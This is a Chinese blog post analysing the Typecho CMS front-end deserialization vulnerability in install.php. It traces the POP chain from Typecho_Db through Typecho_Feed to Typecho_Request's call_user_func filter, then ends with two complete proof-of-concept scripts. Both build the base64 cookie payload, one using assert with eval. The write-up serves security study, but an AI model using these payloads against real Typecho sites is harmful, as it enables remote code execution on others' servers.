zoukankan      html  css  js  c++  java
  • PHP审计之PHP反序列化漏洞

    PHP审计之PHP反序列化漏洞

    前言

    一直不懂,PHP反序列化感觉上比Java的反序列化难上不少。但归根结底还是serializeunserialize中的一些问题。

    在此不做多的介绍。

    魔术方法

    在php的反序列化中会用到各种魔术方法

    __wakeup() //使用unserialize时触发
    __sleep() //使用serialize时触发
    __destruct() //对象被销毁时触发
    __call() //在对象上下文中调用不可访问的方法时触发
    __callStatic() //在静态上下文中调用不可访问的方法时触发
    __get() //用于从不可访问的属性读取数据
    __set() //用于将数据写入不可访问的属性
    __isset() //在不可访问的属性上调用isset()或empty()触发
    __unset() //在不可访问的属性上使用unset()时触发
    __toString() //把类当作字符串使用时触发,不仅仅是echo的时候,比如file_exists()判断也会触发
    __invoke() //当脚本尝试将对象调用为函数时触发
    

    代码审计

    寻觅漏洞点

    定位到漏洞代码install.php

     <?php if (isset($_GET['finish'])) : ?>
                    <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                    <h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
                    <div class="typecho-install-body">
                        <form method="post" action="?config" name="config">
                        <p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
                        </form>
                    </div>
                    <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                    <h1 class="typecho-install-title"><?php _e('没有安装!'); ?></h1>
                    <div class="typecho-install-body">
                        <form method="post" action="?config" name="config">
                        <p class="message error"><?php _e('您没有执行安装步骤,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
                        </form>
                    </div>
                    <?php else : ?>
                        <?php
                        $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                        Typecho_Cookie::delete('__typecho_config');
                        $db = new Typecho_Db($config['adapter'], $config['prefix']);
                        $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                        Typecho_Db::set($db);
                        ?>
    

    前面的几个判断比较简单,判断finish传参的值是否存在,然后判断/config.inc.php文件是否存在,按照惯例,在php安装完成后,会建立一个标识文件,进行识别程序是否安装,避免重复安装问题。

    后面代码即走到这一步

     <?php
                        $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                        Typecho_Cookie::delete('__typecho_config');
                        $db = new Typecho_Db($config['adapter'], $config['prefix']);
                        $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                        Typecho_Db::set($db);
                        ?>
    

    接收Cookie中__typecho_config的值,进行base64解密后再反序列化的操作。将反序列化后的数据存到$config中,来到下面,清空cookie的值,然后实例化一个Typecho_Db对象,将$config['adapter']$config['prefix']进行存储到该对象中。

    寻找POP链

    这时候需要寻找一个pop链,在PHP中一般以__construct__destruct方法来做反序列化反序列化的第一个触发点,而在Java里面则是需要反序列化的该对象被重写后的readObject方法。

    来看到Db.php文件

     public function __construct($adapterName, $prefix = 'typecho_')
        {
            /** 获取适配器名称 */
            $this->_adapterName = $adapterName;
    
            /** 数据库适配器 */
            $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    
            if (!call_user_func(array($adapterName, 'isAvailable'))) {
                throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
            }
    
            $this->_prefix = $prefix;
    
            /** 初始化内部变量 */
            $this->_pool = array();
            $this->_connectedPool = array();
            $this->_config = array();
    
            //实例化适配器对象
            $this->_adapter = new $adapterName();
        }
    

    这里的$adapterName变量并且了一串Typecho_Db_Adapter_字符串,假设$adapterName为一个对象的话,即可触发到__toString()方法。

    寻找__toString方法

    Feed.php __toString方法代码

     foreach ($links as $link) {
                    $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
                }
    
                $result .= '</rdf:Seq>
    </items>
    </channel>' . self::EOL;
    
                $result .= $content . '</rdf:RDF>';
    
            } else if (self::RSS2 == $this->_type) {
                ...
            }
    

    self::RSS2 == $this->_type中比较是否对等,self::RSS2RSS 2.0字符串。

    所以说需要走到这个判断条件下的逻辑在需要构造$this->_type这个数据。

                $content = '';
                $lastUpdate = 0;
    
                foreach ($this->_items as $item) {
                    $content .= '<item>' . self::EOL;
                    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
                    ...
                }
    

    下面这里调用了$item['author']->screenName,如果 $item['author'] 中存储的类没有'screenName'属性或该属性为私有属性,此时会触发该类中的 __get() 魔法方法.

    寻找__get方法

    /var/Typecho/Request.php

    public function __get($key)
        {
            return $this->get($key);
        }
    

    $key 传入的值为 scrrenName

     public function get($key, $default = NULL)
        {
            switch (true) {
                case isset($this->_params[$key]):
                    $value = $this->_params[$key];
                    break;
                case isset(self::$_httpParams[$key]):
                    $value = self::$_httpParams[$key];
                    break;
                default:
                    $value = $default;
                    break;
            }
    
            $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
            return $this->_applyFilter($value);
        }
    

    $this->_params[$key]值存在,即将该值赋值给$value,然后判断该值不等于数组和小于0则数据不变。

    然后调用$this->_applyFilter($value)

    继续看到_applyFilter

    private function _applyFilter($value)
        {
            if ($this->_filter) {
                foreach ($this->_filter as $filter) {
                    $value = is_array($value) ? array_map($filter, $value) :
                    call_user_func($filter, $value);
                }
    
                $this->_filter = array();
            }
    
            return $value;
        }
    

    关键地方在于上面代码中,判断$this->_filter是否存在并且遍历filter,假设上面传入的$value为数组则调用array_map($filter, $value),否则则调用call_user_func($filter, $value)

    这两个都回调方法都可以进行代码代码执行。

    调用链:

    Typecho_Db.__construct -> Typecho_Feed.__toString ->Typecho_Request.__get -> Typecho_Request.get -> Typecho_Request._applyFilter
    

    构造POP链

    来看看需要构造的数据

    1. Typecho_Db__construct 方法$adapterName变量需要为一个对象,并且是能触发到一个点的对象。根据上面寻找到的是Typecho_Feed这个实例化对象拼接字符串的话,会触发__toString 。因此这个方法的参数第一个传递Typecho_Feed,而第二个参数传递typecho_

    2. 上面分析Feed这个点的时候,需要将self::RSS2设置为RSS 2.0,这个$this->_items[author]传入一个不存在或者是方法为私有属性的screenName方法的类。这样可以去自动去调用__get。在上面寻找到的是Typecho_Request,所以这里传入一个Typecho_Request实例化对象。进行自动调用__get

    3. Typecho_Request198行中$this->_params[$key]这个key的值是scrrenName,即为$this->_params[scrrenName],则这个值需要设置为一个需要执行的代码。

    4. 最后走到_applyFilter这里遍历了$this->_filter后,进行调用array_mapcall_user_func,并且分别传入$filter, $value。那么这里即需要设置一个$this->_filter为一个代码执行的方法。那么即可把整一个链给到代码执行给串联起来。

    调试POP链

    但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500.

    install.php的开始,调用了ob_start()

    bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
    

    此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。(因此可选择回调函数用于处理输出结果信息)

    该函数可以让你自由地控制脚本中数据的输出。比如可以用在输出静态化页面上。而且,当你想在数据已经输出后,再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 PHP 代码的数据块有作用。原因是当打开了缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出,所以并不会有任何文件头输出的错误。

    因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

    我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。

    这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

    这里使用的是上面说的第二个办法。

    <?php
    
    	class Typecho_Feed{
    		private $_type;
    		private $_items = array();
    
    		public function __construct(){
    			$this->_type = "RSS 2.0";
    			$this->_items = array(
    				array(
    					"title" => "test",
    					"link" => "test",
    					"data" => "20190430",
    					"author" => new Typecho_Request(),
    				),
    			);
    		}
    	}
    
    	class Typecho_Request{
    		private $_params = array();
    		private $_filter = array();
    
    		public function __construct(){
    			$this->_params = array(
    				"screenName" => "eval('phpinfo();exit;')",
    			);
    			$this->_filter = array("assert");
    		}
    	}
    
    	$a = new Typecho_Feed();
    
    	$c = array(
    		"adapter" => $a,
    		"prefix" => "test",
    	);
    
    	echo base64_encode(serialize($c));
    

    另外一个方法,直接mark过来,POC如下:

    <?php
    class Typecho_Request
    {
        private $_params = array();
        private $_filter = array();
    
        public function __construct()
        {
            // $this->_params['screenName'] = 'whoami';
            $this->_params['screenName'] = -1;
            $this->_filter[0] = 'phpinfo';
        }
    }
    
    class Typecho_Feed
    {
        const RSS2 = 'RSS 2.0';
        /** 定义ATOM 1.0类型 */
        const ATOM1 = 'ATOM 1.0';
        /** 定义RSS时间格式 */
        const DATE_RFC822 = 'r';
        /** 定义ATOM时间格式 */
        const DATE_W3CDTF = 'c';
        /** 定义行结束符 */
        const EOL = "
    ";
        private $_type;
        private $_items = array();
        public $dateFormat;
    
        public function __construct()
        {
            $this->_type = self::RSS2;
            $item['link'] = '1';
            $item['title'] = '2';
            $item['date'] = 1507720298;
            $item['author'] = new Typecho_Request();
            $item['category'] = array(new Typecho_Request());
    
            $this->_items[0] = $item;
        }
    }
    
    $x = new Typecho_Feed();
    $a = array(
        'host' => 'localhost',
        'user' => 'xxxxxx',
        'charset' => 'utf8',
        'port' => '3306',
        'database' => 'typecho',
        'adapter' => $x,
        'prefix' => 'typecho_'
    );
    echo urlencode(base64_encode(serialize($a)));
    ?>
    

    参考

    [红日安全]代码审计Day11 - unserialize反序列化漏洞

    Typecho-反序列化漏洞学习

    Typecho 前台 getshell 漏洞分析

    结尾

    PHP的反序列化相当于Java的反序列化个人感觉PHP的反序列化比较灵活,可以结合各种魔术方法做联动。

  • 相关阅读:
    UVALive 7141 BombX
    CodeForces 722D Generating Sets
    CodeForces 722C Destroying Array
    CodeForces 721D Maxim and Array
    CodeForces 721C Journey
    CodeForces 415D Mashmokh and ACM
    CodeForces 718C Sasha and Array
    CodeForces 635C XOR Equation
    CodeForces 631D Messenger
    田忌赛马问题
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15395744.html
Copyright © 2011-2022 走看看